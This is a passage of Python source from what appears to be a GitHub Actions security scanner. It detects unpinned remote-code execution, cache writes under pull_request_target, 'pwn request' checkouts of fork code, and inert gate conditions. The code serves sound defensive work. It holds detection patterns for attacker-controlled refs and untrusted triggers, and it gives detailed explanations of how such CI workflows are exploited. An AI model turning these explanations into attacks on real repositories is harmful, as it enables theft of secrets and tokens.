  4517. # not. The lookup can only ever remove a finding, never add one.
  4518. _RELEASE_LOOKUP_ATTEMPTS = 3
  4519. _RELEASE_LOOKUP_BACKOFF_S = 1.0
  4520. _GITHUB_HOSTS = ("github.com", "www.github.com")
  4521. @dataclass
  4522. class _ReleaseLookupState:
  4523. enabled: bool = False
  4524. skip_reason: str = ""
  4525. root: Path | None = None
  4526. # (owner/repo lowercased, tag) → (verdict, reason). verdict is one of
  4527. # "immutable", "mutable", "not_release", "unknown".
  4528. cache: dict[tuple[str, str], tuple[str, str]] | None = None
  4529. # Every tag-pinned install that was paired with a run, in scan order:
  4530. # (shown as repo@tag (file:line), verdict, reason).
  4531. reached: list[tuple[str, str, str]] | None = None
  4532. _RELEASE_LOOKUP = _ReleaseLookupState(cache={}, reached=[])
  4533. def _reset_release_lookup(enabled: bool, skip_reason: str,
  4534. root: Path | None) -> None:
  4535. global _RELEASE_LOOKUP
  4536. _RELEASE_LOOKUP = _ReleaseLookupState(
  4537. enabled=enabled, skip_reason=skip_reason, root=root,
  4538. cache={}, reached=[])
  4539. def _extension_repo_slug(target: str) -> str | None:
  4540. """`owner/repo` for an extension hosted on github.com, else None."""
  4541. t = target
  4542. if "://" in t:
  4543. t = t.split("://", 1)[1]
  4544. parts = [p for p in t.rstrip("/").split("/") if p]
  4545. if len(parts) == 3 and parts[0].lower() in _GITHUB_HOSTS:
  4546. parts = parts[1:]
  4547. if len(parts) != 2:
  4548. return None
  4549. owner, repo = parts
  4550. if repo.endswith(".git"):
  4551. repo = repo[: -len(".git")]
  4552. if not re.fullmatch(r"[A-Za-z0-9_.-]+", owner) or \
  4553. not re.fullmatch(r"[A-Za-z0-9_.-]+", repo):
  4554. return None
  4555. return f"{owner}/{repo}"
  4556. def _gh_release_immutability(slug: str, tag: str) -> tuple[str, str]:
  4557. """(verdict, reason) for the release at `tag` in `slug`.
  4558. Transient failures (a timeout, a server error) are tried up to
  4559. ``_RELEASE_LOOKUP_ATTEMPTS`` times; a rate limit or an authentication
  4560. failure is not, since retrying cannot change it. The reason never carries
  4561. a response body — only a classification.
  4562. """
  4563. from urllib.parse import quote
  4564. from gh_utils import check_auth_error, check_rate_limit_error # noqa: E402
  4565. endpoint = f"repos/{slug}/releases/tags/{quote(tag, safe='')}"
  4566. last = "the lookup did not complete"
  4567. for attempt in range(_RELEASE_LOOKUP_ATTEMPTS):
  4568. if attempt:
  4569. time.sleep(_RELEASE_LOOKUP_BACKOFF_S * attempt)
  4570. try:
  4571. result = subprocess.run(
  4572. # github.com only: `_extension_repo_slug` admits no other
  4573. # host, and `GH_HOST` must not send the question elsewhere.
  4574. ["gh", "api", endpoint, "--hostname", "github.com"],
  4575. capture_output=True, text=True, timeout=30,
  4576. )
  4577. except FileNotFoundError:
  4578. return "unknown", "gh is not installed"
  4579. except OSError:
  4580. return "unknown", "gh could not be run"
  4581. except subprocess.TimeoutExpired:
  4582. last = "the GitHub API timed out"
  4583. continue
  4584. logger.debug("gh api %s — exit=%s, response %d bytes", endpoint,
  4585. result.returncode, len(result.stdout or ""))
  4586. if result.returncode == 0:
  4587. try:
  4588. body = json.loads(result.stdout or "{}")
  4589. except ValueError:
  4590. return "unknown", "the release response was not JSON"
  4591. if not isinstance(body, dict):
  4592. return "unknown", "the release response was not an object"
  4593. if body.get("tag_name") != tag or body.get("draft") is True:
  4594. # Only the published release at exactly this tag can vouch.
  4595. return "unknown", ("the release response did not describe "
  4596. "the published release at this tag")
  4597. flag = body.get("immutable")
  4598. if flag is True:
  4599. return "immutable", ""
  4600. if flag is False:
  4601. return "mutable", ""
  4602. return "unknown", "the release response carried no `immutable` field"
  4603. stderr = result.stderr or ""
  4604. if "HTTP 404" in stderr or "Not Found" in stderr:
  4605. return "not_release", ""
  4606. if check_rate_limit_error(stderr)[0]:
  4607. return "unknown", "GitHub API rate limit reached"
  4608. if check_auth_error(stderr):
  4609. return "unknown", "gh authentication failed (run gh auth login)"
  4610. last = "the GitHub API returned an error"
  4611. return "unknown", f"{last} ({_RELEASE_LOOKUP_ATTEMPTS} attempts)"
  4612. def _release_lookup(inst: "_GhExtensionInstall",
  4613. file_path: Path) -> tuple[str, str]:
  4614. """Look up (or recall) the release an install's tag pin names, record the
  4615. outcome for `gh_checks`, and return (verdict, reason)."""
  4616. state = _RELEASE_LOOKUP
  4617. assert inst.ref is not None
  4618. shown_ref = _as_written(inst.ref)
  4619. shown_repo = _as_written(inst.repo)
  4620. try:
  4621. rel = (str(file_path.relative_to(state.root)) if state.root
  4622. else file_path.name)
  4623. except ValueError:
  4624. rel = file_path.name
  4625. label = f"{shown_repo}@{shown_ref} ({rel}:{inst.line})"
  4626. slug = _extension_repo_slug(inst.repo)
  4627. if not state.enabled:
  4628. verdict, reason = "unknown", state.skip_reason
  4629. elif "$EXPR" in inst.ref or "\x00" in inst.ref or "$" in inst.ref:
  4630. verdict, reason = ("unknown", "the pin is set at run time, so the "
  4631. "release it names cannot be looked up")
  4632. elif slug is None:
  4633. verdict, reason = ("unknown", "the extension is not hosted on "
  4634. "github.com")
  4635. else:
  4636. key = (slug.lower(), inst.ref)
  4637. assert state.cache is not None
  4638. if key not in state.cache:
  4639. state.cache[key] = _gh_release_immutability(slug, inst.ref)
  4640. verdict, reason = state.cache[key]
  4641. assert state.reached is not None
  4642. state.reached.append((label, verdict, reason))
  4643. return verdict, reason
  4644. def _release_lookup_status() -> tuple[str | None, list[str]]:
  4645. """The `gh_checks["P14.24"]` status and its unverified list, or
  4646. (None, []) when the scan reached no tag-pinned extension that runs."""
  4647. state = _RELEASE_LOOKUP
  4648. reached = state.reached or []
  4649. if not reached:
  4650. return None, []
  4651. n = len(reached)
  4652. if not state.enabled:
  4653. return (f"skipped: {state.skip_reason} (release-immutability lookup "
  4654. f"did NOT run; {n} tag-pinned GitHub CLI extension install(s) "
  4655. f"kept as findings)"), []
  4656. immutable = sum(1 for _, v, _ in reached if v == "immutable")
  4657. unknown = [(label, reason) for label, v, reason in reached
  4658. if v == "unknown"]
  4659. kept = n - immutable
  4660. if unknown:
  4661. return (f"partial: {n - len(unknown)} of {n} tag-pinned GitHub CLI "
  4662. f"extension install(s) looked up, {immutable} immutable (not "
  4663. f"reported), {len(unknown)} UNVERIFIED — kept as findings"), \
  4664. [f"{label} — {reason}" for label, reason in unknown]
  4665. return (f"ran: {n} tag-pinned GitHub CLI extension install(s) looked up, "
  4666. f"{immutable} immutable (not reported), {kept} reported"), []
  4667. def _pin_races(pin_line: int | None, lines: tuple[int, ...],
  4668. racing: Callable[[int, int], bool], concurrency: bool) -> bool:
  4669. """A pin may run at the same time as one of `lines` (the fetch, the
  4670. execution). Fail safe: in a job with concurrent steps, a pin whose source
  4671. line is unknown is not provably in between, so it counts as racing; with
  4672. no concurrency the command order alone already places it."""
  4673. if pin_line is None:
  4674. return concurrency
  4675. return any(racing(pin_line, ln) for ln in lines)
  4676. def _correlation_unverified_remote_code_execution(
  4677. file_path: Path,
  4678. ) -> Iterator[RawHit]:
  4679. """P14.24 — the job executes remote code nobody pinned.
  4680. Two arms, one vector (see the comment block above): the piped installer,
  4681. delegated unchanged to the shared `run:`-scalar walker, and a git fetch at
  4682. a MUTABLE ref whose tree the same job then executes from.
  4683. """
  4684. yield from detect_yaml_run_injection(file_path, _REMOTE_PIPE_TO_SHELL)
  4685. text = _read_text_safe(file_path)
  4686. if not text:
  4687. return
  4688. doc = _parse_yaml_text(text, file_path)
  4689. if not isinstance(doc, dict):
  4690. return
  4691. ranges = {name: (s, e) for name, s, e in (job_line_ranges(file_path) or [])}
  4692. for job_name, _job in _walk_jobs(doc):
  4693. job_range = ranges.get(job_name)
  4694. if job_range is None:
  4695. # No source range for this job means its commands cannot be
  4696. # scoped to it, and a cross-job pairing would be a false claim.
  4697. # Recorded as a coverage gap rather than dropped in silence.
  4698. _DROPPED_MATCHES.append({
  4699. "kind": _KIND_UNANCHORED,
  4700. "file": str(file_path),
  4701. "reason": (
  4702. f"P14.24: jobs.{job_name} could not be located in the raw "
  4703. f"file, so its shell was NOT scanned for a mutable fetch "
  4704. f"executed out of — review the job manually"
  4705. ),
  4706. })
  4707. continue
  4708. def _gap(reason: str, _job: str = job_name,
  4709. kind: str = _KIND_NOT_SCANNED) -> None:
  4710. _DROPPED_MATCHES.append({
  4711. "file": str(file_path),
  4712. "reason": f"P14.24: jobs.{_job}: {reason}",
  4713. "kind": kind,
  4714. })
  4715. for fetch, exec_line, exec_path in _mutable_fetch_executions(
  4716. text, job_range, _gap, file_path,
  4717. _default_working_directory(doc, _job),
  4718. _checkout_fetches(_job, text, job_range, file_path, _gap),
  4719. ):
  4720. yield RawHit(
  4721. line=fetch.line,
  4722. evidence=f"{fetch.line:>4}: {fetch.raw} <-- here",
  4723. # Identifies the FETCH, not the line. Deduplication keys on
  4724. # this, so using the whole line made two clones written on one
  4725. # line byte-identical and the second chain vanished with no
  4726. # record anywhere.
  4727. match_text=(f"fetch into {_as_written(fetch.dest)} at "
  4728. f"{_as_written(fetch.ref or 'HEAD')}"),
  4729. derived_note=(
  4730. (f"jobs.{job_name} checks out `{fetch.source}` at "
  4731. if fetch.source else
  4732. f"jobs.{job_name} fetches remote code at ")
  4733. + f"{_ref_description(fetch.ref)} into "
  4734. f"`{_as_written(fetch.dest)}` — a "
  4735. f"MUTABLE reference, so what lands in the tree is whatever "
  4736. f"the other side serves at the moment the job runs — and "
  4737. f"then executes `{_as_written(exec_path)}` from it at "
  4738. f"line {exec_line}. "
  4739. f"A full 40-character commit id is the only reference that "
  4740. f"cannot change under you."
  4741. ),
  4742. )
  4743. for inst, exec_line, invoked in _gh_extension_executions(
  4744. text, job_range, _gap, file_path,
  4745. ):
  4746. # `--pin=` with no value installs the latest release, as no pin.
  4747. pin = inst.ref or None
  4748. ref_text = _gh_extension_ref_description(pin)
  4749. observed = ""
  4750. offline = " (not visible offline)"
  4751. if pin is not None and not _ABBREV_SHA_RE.match(pin):
  4752. verdict, _reason = _release_lookup(inst, file_path)
  4753. if verdict == "immutable":
  4754. _gap(f"a GitHub CLI extension `{_as_written(inst.repo)}` "
  4755. f"on line {inst.line} is pinned to release tag "
  4756. f"`{_as_written(inst.ref)}`, which GitHub reports as "
  4757. f"an immutable release (its tag and assets cannot "
  4758. f"change), so it is deliberately not reported",
  4759. kind=_KIND_SUPPRESSED)
  4760. continue
  4761. if verdict in ("mutable", "not_release"):
  4762. offline = "" # the scan did look
  4763. if verdict == "mutable":
  4764. observed = (" GitHub reports this release is NOT "
  4765. "immutable, so its tag can be moved.")
  4766. elif verdict == "not_release":
  4767. observed = (" GitHub returned no published release at "
  4768. "this tag: it may be a branch, a bare tag or "
  4769. "a repository this scan cannot see, and "
  4770. "nothing shows it is locked.")
  4771. yield RawHit(
  4772. line=inst.line,
  4773. evidence=f"{inst.line:>4}: {inst.raw} <-- here",
  4774. match_text=(f"gh extension {_as_written(inst.repo)} at "
  4775. f"{_as_written(inst.ref or 'latest release')}"),
  4776. derived_note=(
  4777. f"jobs.{job_name} installs the GitHub CLI extension "
  4778. f"`{_as_written(inst.repo)}` at {ref_text} — a MUTABLE "
  4779. f"reference, so what is installed is whatever that "
  4780. f"repository's owner publishes under it at the moment the "
  4781. f"job runs — and then runs it as `{invoked}` at line "
  4782. f"{exec_line}. For a script extension, a full "
  4783. f"40-character commit id passed to `--pin` cannot change "
  4784. f"under you; a binary extension's `--pin` names a release "
  4785. f"tag, which is fixed only when that release is published "
  4786. f"as immutable{offline} — otherwise download "
  4787. f"the release asset, verify its digest and run the local "
  4788. f"copy." + observed
  4789. ),
  4790. )
  4791. def _correlation_untrusted_trigger_writes_cache(
  4792. file_path: Path,
  4793. ) -> Iterator[RawHit]:
  4794. """P14.7 — workflow has `pull_request_target` trigger AND any job writes
  4795. the shared cache."""
  4796. text = _read_text_safe(file_path)
  4797. if not text:
  4798. return
  4799. doc = _parse_yaml_text(text, file_path)
  4800. if not isinstance(doc, dict):
  4801. return
  4802. on_node = _get_on_node(doc)
  4803. triggers = _on_trigger_names(on_node) if on_node is not None else []
  4804. if "pull_request_target" not in triggers:
  4805. return
  4806. for job_name, job in _walk_jobs(doc):
  4807. if _job_uses_cache(job):
  4808. line = _job_line_in_text(text, job_name)
  4809. yield RawHit(
  4810. line=line,
  4811. evidence=(
  4812. f"{line:>4}: workflow runs on `pull_request_target` AND "
  4813. f"jobs.{job_name} writes the shared cache <-- here"
  4814. + _gate_note(job, triggers)
  4815. ),
  4816. match_text=job_name,
  4817. derived=True,
  4818. )
  4819. # Which top-level `github.event.*` objects each trigger's payload populates.
  4820. # Deliberately partial in BOTH directions: a trigger absent from this table
  4821. # makes the whole verdict unknowable (see `_inert_gate_objects`), and an object
  4822. # absent from `_GATE_CHECKED_OBJECTS` is never judged at all. Both omissions
  4823. # fail toward silence, which is the only safe direction for a check whose
  4824. # false-positive would read "your security gate does nothing".
  4825. _TRIGGER_EVENT_OBJECTS: dict[str, frozenset[str]] = {
  4826. "issues": frozenset({"issue", "label"}),
  4827. "issue_comment": frozenset({"issue", "comment"}),
  4828. "pull_request": frozenset({"pull_request", "label"}),
  4829. "pull_request_target": frozenset({"pull_request", "label"}),
  4830. "pull_request_review": frozenset({"pull_request", "review"}),
  4831. "pull_request_review_comment": frozenset({"pull_request", "comment"}),
  4832. "push": frozenset({"head_commit", "commits", "pusher"}),
  4833. "discussion": frozenset({"discussion"}),
  4834. "discussion_comment": frozenset({"discussion", "comment"}),
  4835. "workflow_run": frozenset({"workflow_run", "workflow"}),
  4836. "workflow_dispatch": frozenset({"inputs"}),
  4837. "repository_dispatch": frozenset({"client_payload"}),
  4838. "release": frozenset({"release"}),
  4839. "fork": frozenset({"forkee"}),
  4840. "label": frozenset({"label"}),
  4841. "milestone": frozenset({"milestone"}),
  4842. # `deployment` and `deployment_status` carry a top-level `workflow_run`
  4843. # (and `workflow`, `check_run`) whenever the deployment came from a
  4844. # workflow — the normal case, and exactly what such a job gates on.
  4845. "deployment": frozenset({"deployment", "workflow", "workflow_run"}),
  4846. "deployment_status": frozenset({
  4847. "deployment", "deployment_status", "workflow", "workflow_run",
  4848. "check_run",
  4849. }),
  4850. "check_run": frozenset({"check_run"}),
  4851. "check_suite": frozenset({"check_suite"}),
  4852. "registry_package": frozenset({"registry_package"}),
  4853. "schedule": frozenset(),
  4854. }
  4855. # The objects a gate is actually judged on. Restricted to the ones that carry a
  4856. # real trust decision and whose payload membership is unambiguous.
  4857. _GATE_CHECKED_OBJECTS = frozenset({
  4858. "pull_request", "issue", "comment", "discussion", "workflow_run",
  4859. "head_commit", "release", "client_payload", "review", "forkee",
  4860. })
  4861. _GATE_EVENT_REF_RE = re.compile(r"github\.event\.([a-zA-Z_][a-zA-Z_0-9]*)")
  4862. # A whole `if:` that is nothing but one comparison of a `github.event.*` path
  4863. # against a quoted literal. Anything else — a second term, a negation, a
  4864. # function call, a comparison to another expression — is left undecided.
  4865. # JSON's number grammar, which is what GitHub uses to decide whether a string
  4866. # becomes a number or NaN. Deliberately stricter than `float()`: no leading
  4867. # `+`, no surrounding space, no `inf`/`nan`, no underscores, no hex.
  4868. _JSON_NUMBER_RE = re.compile(r"-?(?:0|[1-9][0-9]*)(?:\.[0-9]+)?(?:[eE][+-]?[0-9]+)?")
  4869. _GATE_LONE_COMPARISON_RE = re.compile(
  4870. r"^\s*(?:\$\{\{\s*)?"
  4871. r"github\.event\.(?P<obj>[a-zA-Z_][a-zA-Z_0-9]*)"
  4872. r"(?:\.[a-zA-Z_][a-zA-Z_0-9]*)*"
  4873. r"\s*(?P<op>==|!=)\s*"
  4874. r"(?P<lit>'[^']*'|\"[^\"]*\")"
  4875. r"\s*(?:\}\}\s*)?$"
  4876. )
  4877. _QUOTED_SPAN_RE = re.compile(r"'[^']*'|\"[^\"]*\"")
  4878. def _strip_quoted(condition: str) -> str:
  4879. """`condition` with string literals blanked out.
  4880. A gate reading `github.event.pull_request.user.login != 'filed by
  4881. github.event.discussion bot'` does not read `github.event.discussion` —
  4882. that text is data. Counting it made a live gate report a dead field.
  4883. """
  4884. return _QUOTED_SPAN_RE.sub(lambda m: " " * len(m.group(0)), condition)
  4885. def _inert_gate_objects(condition: str, triggers: list[str]) -> list[str]:
  4886. """`github.event.*` objects this gate reads that NO declared trigger fills.
  4887. snowflakedb/snowflake-connector-net's `jira_issue.yml` (Wiz, Jun 2026)
  4888. gated on `github.event.pull_request.user.login != '...'` while triggering
  4889. on `issues` and `issue_comment`. Neither payload has a `pull_request`, so
  4890. the comparison was `null != '...'` — always true. The gate looked like it
  4891. restricted the job to one bot account; it admitted every GitHub user, and
  4892. the job interpolated the issue title into a shell step holding a Jira API
  4893. token.
  4894. The rule is "no DECLARED trigger populates it", not "this trigger doesn't":
  4895. a workflow on both `issues` and `pull_request_target` reading
  4896. `github.event.pull_request` has a gate that is live half the time, which is
  4897. an ordinary bypass question and not this check's business.
  4898. Returns [] — no verdict — whenever any declared trigger is missing from
  4899. `_TRIGGER_EVENT_OBJECTS`. `workflow_call` is the load-bearing case: a
  4900. reusable workflow runs on the CALLER's payload, which this file cannot see,
  4901. so its event objects are unknowable rather than absent.
  4902. """
  4903. if not triggers:
  4904. return []
  4905. populated: set[str] = set()
  4906. for trigger in triggers:
  4907. if trigger not in _TRIGGER_EVENT_OBJECTS:
  4908. return []
  4909. populated |= _TRIGGER_EVENT_OBJECTS[trigger]
  4910. referenced = {
  4911. m.group(1)
  4912. for m in _GATE_EVENT_REF_RE.finditer(_strip_quoted(condition))
  4913. }
  4914. return sorted(
  4915. (referenced & _GATE_CHECKED_OBJECTS) - populated
  4916. )
  4917. def _dead_comparison_verdict(condition: str, dead: list[str]) -> str:
  4918. """`"open"`, `"closed"`, or `""` for a gate built from one dead comparison.
  4919. Knowing that a term always compares against an empty value does NOT say
  4920. which way the gate falls. `null != 'bot'` is always true and admits
  4921. everyone — Snowflake's bug. `null == 'bot'` is always false and admits
  4922. nobody: still a broken gate, but describing it as "does not restrict who
  4923. reaches this job" tells the reader the exact opposite of what it does.
  4924. And a dead term inside `a && b` decides nothing at all, because the live
  4925. conjunct still restricts.
  4926. So a verdict is only offered when the ENTIRE condition is that one
  4927. comparison, and the operator settles the direction. Everything else falls
  4928. through to the neutral wording, which states the lookup fact and stops.
  4929. """
  4930. match = _GATE_LONE_COMPARISON_RE.match(condition)
  4931. if match is None or match.group("obj") not in dead:
  4932. return ""
  4933. literal = match.group("lit")[1:-1]
  4934. # GitHub casts both sides to a number when the types differ, and an absent
  4935. # value casts to 0. So it compares EQUAL to `''`, to `'0'`, to `'0.0'` —
  4936. # any literal worth zero inverts the whole operator table. Decline those.
  4937. #
  4938. # The parser has to be GitHub's, not Python's: a string becomes a number
  4939. # only "from any legal JSON number format, otherwise NaN". `'+0'` and
  4940. # `' 0 '` are NOT legal JSON, so GitHub reads NaN and the comparison is
  4941. # not equal to an absent value — a verdict is available. `float()` accepts
  4942. # both and would have thrown those verdicts away.
  4943. if not literal:
  4944. return ""
  4945. if _JSON_NUMBER_RE.fullmatch(literal) and float(literal) == 0:
  4946. return ""
  4947. return "open" if match.group("op") == "!=" else "closed"
  4948. def _gate_note(
  4949. job: Any,
  4950. triggers: list[str],
  4951. dead_field_only: bool = False,
  4952. ) -> str:
  4953. """A sentence naming this job's own `if:` condition, or "".
  4954. cal.com's `pr.yml` gates its cache-writing job behind
  4955. `needs.trust-check.outputs.is-trusted == 'true'`, and the report still read
  4956. "a fork PR plants malware" with no mention of it. The gate is NOT a
  4957. suppression — trust gates are routinely bypassable, and deciding that here
  4958. would be guessing — but a reader who cannot see it cannot triage the
  4959. finding.
  4960. The one case we DO decide is a gate whose whole condition is a comparison
  4961. against an event object no declared trigger populates
  4962. (`_inert_gate_objects` + `_dead_comparison_verdict`). "Verify it" is the
  4963. wrong instruction there — there is nothing to verify — and the reader most
  4964. likely to miss it is the one who does not know which payload carries which
  4965. object. That is a lookup, not a judgement call.
  4966. The lookup alone is not the verdict, though. It says the comparison runs
  4967. against an empty value; the operator says whether that admits everyone or
  4968. nobody, and a second conjunct can make it moot either way. When the shape
  4969. does not settle that, the note reports the dead term as a fact and keeps
  4970. the ordinary "verify it" rather than guessing a direction.
  4971. `dead_field_only` drops the generic "verify it" half and returns "" unless
  4972. there is a dead field to report. P14.10 asks for that: an injection is
  4973. worth fixing whether or not its gate holds, so telling an injection's
  4974. reader the finding "stands only if that gate can be bypassed" would
  4975. contradict the catalog entry the finding cites.
  4976. """
  4977. if not isinstance(job, dict):
  4978. return ""
  4979. condition = job.get("if")
  4980. if condition is None or isinstance(condition, (dict, list)):
  4981. return ""
  4982. text = " ".join(str(condition).split())
  4983. if not text:
  4984. return ""
  4985. dead = _inert_gate_objects(text, triggers)
  4986. if dead:
  4987. names = ", ".join(f"`github.event.{obj}`" for obj in dead)
  4988. trigger_list = ", ".join(f"`{t}`" for t in sorted(set(triggers)))
  4989. plural = len(dead) > 1
  4990. lookup = (
  4991. f"\n this job carries a gate condition: {text} — it reads "
  4992. f"{names}, which no trigger this workflow declares "
  4993. f"({trigger_list}) ever populates, so "
  4994. + ("those comparisons are" if plural else "that comparison is")
  4995. + " against an empty value"
  4996. )
  4997. verdict = _dead_comparison_verdict(text, dead)
  4998. if verdict == "open":
  4999. return (
  5000. f"{lookup} and " + ("are" if plural else "is")
  5001. + " always true: the gate is INERT — it does "
  5002. f"not restrict who reaches this job"
  5003. )
  5004. if verdict == "closed":
  5005. return (
  5006. f"{lookup} and " + ("are" if plural else "is")
  5007. + " always false: the gate is INERT as a trust "
  5008. f"control — rather than restricting who reaches this job it "
  5009. f"blocks every run of it, so this job never runs under any "
  5010. f"trigger the workflow declares"
  5011. )
  5012. # NOT "cannot restrict anything". A dead comparison is a CONSTANT, and
  5013. # a constant is the opposite of harmless once other terms are in play:
  5014. # `A && (null == 'x')` is always false, so the dead term closes the
  5015. # whole gate by itself, and `A || (null != 'x')` is always true, so it
  5016. # opens the gate whatever `A` says. Nothing here evaluates a compound
  5017. # condition, so the honest statement is that the term is fixed and the
  5018. # gate's overall behaviour is unexamined — never that the term is inert
  5019. # on its own.
  5020. return (
  5021. f"{lookup} and therefore always "
  5022. + ("evaluate" if plural else "evaluates")
  5023. + " the same way, whoever triggered the workflow. What "
  5024. f"the gate as a whole then does — including whether a fixed term "
  5025. f"decides it outright — depends on the rest of the condition, "
  5026. f"which is not evaluated here — verify it"
  5027. )
  5028. if dead_field_only:
  5029. return ""
  5030. return (
  5031. f"\n this job carries a gate condition: {text} — the finding "
  5032. f"stands only if that gate can be bypassed; verify it"
  5033. )
  5034. def _attacker_head_ref(value: Any) -> bool:
  5035. """True if a checkout `ref:`/`repository:` value resolves to attacker-
  5036. controlled head code under an untrusted-event trigger."""
  5037. if not isinstance(value, str):
  5038. return False
  5039. needles = (
  5040. "github.event.pull_request.head", # .sha / .ref / .repo.full_name
  5041. "github.head_ref",
  5042. "github.event.workflow_run.head", # _sha / _branch / _commit
  5043. "refs/pull/", # refs/pull/N/merge|head — the PR's
  5044. # content either way
  5045. )
  5046. return any(n in value for n in needles)
  5047. # The execution leg's local-action arm covers both repository-local prefixes.
  5048. # `uses: ./path` loads the action's definition from the WORKSPACE, so after a
  5049. # head checkout that definition is the fork's. The self-repository prefix
  5050. # `uses: $/path` (GitHub, 2026-07-30) loads the definition from the commit the
  5051. # WORKFLOW runs at, which under `pull_request_target` / `workflow_run` is the
  5052. # base repository's (on other triggers, such as `pull_request_review`, the
  5053. # running commit can be the fork-controlled merge ref), but the action still
  5054. # runs in the job's working directory, where the fork's tree sits after the
  5055. # checkout, and a composite's own `run:` steps execute there. That is the same
  5056. # over-approximation this check already makes for an inline `run:` step: where
  5057. # the definition loads from does not change what it runs on. The check does
  5058. # not open the action to prove which file it touches.
  5059. _SELF_REPOSITORY_ACTION_PREFIX = "$/"
  5060. _LOCAL_ACTION_PREFIXES = ("./", _SELF_REPOSITORY_ACTION_PREFIX)
  5061. def _executes_from_tree(step: dict[str, Any]) -> bool:
  5062. """A `run:` step, or a repository-local action (`./` or `$/`)."""
  5063. uses = step.get("uses")
  5064. return "run" in step or (
  5065. isinstance(uses, str) and uses.startswith(_LOCAL_ACTION_PREFIXES))
  5066. def _is_self_repository_action(step: dict[str, Any]) -> bool:
  5067. uses = step.get("uses")
  5068. return (isinstance(uses, str) and "run" not in step
  5069. and uses.startswith(_SELF_REPOSITORY_ACTION_PREFIX))
  5070. def _job_checkout_head_then_executes(
  5071. job: dict[str, Any],
  5072. ) -> tuple[int, str, bool, bool] | None:
  5073. """The load-bearing predicate of P14.9: within ONE job, an
  5074. `actions/checkout` of the attacker's head ref FOLLOWED BY, or possibly
  5075. running at the same time as (a `parallel:` sibling, a `background:` step
  5076. still running), a step that executes from the working tree (`run:`, a
  5077. local `./action`, or a self-repository `$/action`, which runs in the
  5078. working directory the fork's tree now occupies).
  5079. The execution leg is a deliberate, documented over-approximation: a
  5080. post-checkout `run:` step almost always executes tree-controlled content
  5081. (install scripts, Makefiles, test suites), so the check does not try to
  5082. prove which file it touches. A checkout with no `ref:` (base/merge ref) never
  5083. qualifies. Returns (checkout_step_index, ref_text, concurrent,
  5084. self_repository) or None; `concurrent` is True when only the
  5085. possibly-at-the-same-time reading qualifies, so the evidence does not
  5086. claim an order it cannot know; `self_repository` is True when the
  5087. qualifying execution step is a `$/` action, so the evidence can say why
  5088. a base-repository definition still runs on the fork's tree.
  5089. The index is a 0-based ordinal in walker (leaf) order, not a `steps:`
  5090. position.
  5091. """
  5092. checkout_idx: int | None = None
  5093. ref_text = ""
  5094. for i, step in enumerate(_job_steps(job)):
  5095. uses = step.get("uses")
  5096. if isinstance(uses, str) and uses.startswith("actions/checkout"):
  5097. with_block = step.get("with")
  5098. if isinstance(with_block, dict):
  5099. for key in ("ref", "repository"):
  5100. if _attacker_head_ref(with_block.get(key)):
  5101. checkout_idx = i
  5102. ref_text = str(with_block.get(key))
  5103. break
  5104. if checkout_idx is not None and i > checkout_idx:
  5105. if _executes_from_tree(step):
  5106. return (checkout_idx, ref_text, False,
  5107. _is_self_repository_action(step))
  5108. # Declared after is not the only "after": a step that may run at the same
  5109. # time as the head checkout (a `parallel:` sibling written above it, a
  5110. # `background:` step still running) can execute the fork's tree too.
  5111. timed = _job_step_timings(job)
  5112. for i, (c, c_timing) in enumerate(timed):
  5113. uses, with_block = c.step.get("uses"), c.step.get("with")
  5114. if not (isinstance(uses, str) and uses.startswith("actions/checkout")
  5115. and isinstance(with_block, dict)):
  5116. continue
  5117. ref = next((with_block.get(k) for k in ("ref", "repository")
  5118. if _attacker_head_ref(with_block.get(k))), None)
  5119. if ref is None:
  5120. continue
  5121. for e, e_timing in timed:
  5122. if e is not c and _executes_from_tree(e.step) \
  5123. and _steps_concurrent(c_timing, e_timing):
  5124. return i, str(ref), True, _is_self_repository_action(e.step)
  5125. return None
  5126. def _correlation_untrusted_checkout_executes(file_path: Path) -> Iterator[RawHit]:
  5127. """P14.9 — fork code executed with privileges (the "pwn request" chain).
  5128. Three conditions in ONE job: (1) the workflow runs on an untrusted-event
  5129. trigger that carries the BASE repo's context (write token, secrets);
  5130. (2) `actions/checkout` pulls the attacker's head code (`ref:` /
  5131. `repository:` naming pull_request.head.*, github.head_ref, or
  5132. workflow_run.head_*); (3) a step in the same job that runs after it, or
  5133. may run at the same time as it (a `parallel:` sibling, a background step
  5134. still running), executes from the working tree. One hit per qualifying job. The bare trigger without the
  5135. head checkout is NOT a finding here — that presence fact belongs to the
  5136. scored config checks.
  5137. """
  5138. text = _read_text_safe(file_path)
  5139. if not text:
  5140. return
  5141. doc = _parse_yaml_text(text, file_path)
  5142. if not isinstance(doc, dict):
  5143. return
  5144. on_node = _get_on_node(doc)
  5145. triggers = set(_on_trigger_names(on_node)) if on_node is not None else set()
  5146. if not triggers & _UNTRUSTED_TRIGGERS:
  5147. return
  5148. trig = sorted(triggers & _UNTRUSTED_TRIGGERS)[0]
  5149. for job_name, job in _walk_jobs(doc):
  5150. hit = _job_checkout_head_then_executes(job)
  5151. if hit is None:
  5152. continue
  5153. _, ref_text, concurrent, self_repository = hit
  5154. line = _job_line_in_text(text, job_name)
  5155. then = ("and a step that may run after or alongside it executes "
  5156. "from the tree" if concurrent
  5157. else "then executes from the tree")
  5158. if self_repository:
  5159. then += (" (a `$/` action: it runs in the working directory, "
  5160. "which now holds the fork's checked-out tree; its "
  5161. "definition comes from the running commit, which on "
  5162. "`pull_request_target`/`workflow_run` is the base "
  5163. "repository's)")
  5164. yield RawHit(
  5165. line=line,
  5166. evidence=(
  5167. f"{line:>4}: job `{job_name}` on `{trig}` checks out "
  5168. f"`{ref_text}` {then} <-- here"
  5169. + _gate_note(job, sorted(triggers))
  5170. ),
  5171. match_text=job_name,
  5172. derived=True,
  5173. )
  5174. _UNTRUSTED_TRIGGERS = frozenset(
  5175. {
  5176. "pull_request_target",
  5177. "issue_comment",
  5178. "workflow_run",
  5179. "issues",
  5180. "pull_request_review",
  5181. "pull_request_review_comment",
  5182. "discussion",
  5183. "discussion_comment",
  5184. "fork",
  5185. "watch",
  5186. "repository_dispatch",
  5187. }
  5188. )
  5189. _WALK_MAX_DEPTH = 64
  5190. def _walk_pull_requests_write(
  5191. node: Any,
  5192. path: tuple[str, ...] = (),
  5193. depth: int = 0,
  5194. ) -> Iterator[tuple[str, ...]]:
  5195. """Yield the path-tuple of every `pull-requests: write` declaration.
  5196. Bounded by ``_WALK_MAX_DEPTH`` to cap the worst case on pathological
  5197. anchor-heavy YAML (where ``yaml.safe_load`` can produce a deeply
  5198. self-similar object graph). At the cap we log a warning and stop
  5199. descending — surface vs silent stack overflow.
  5200. """
  5201. if depth > _WALK_MAX_DEPTH:
  5202. logger.warning(
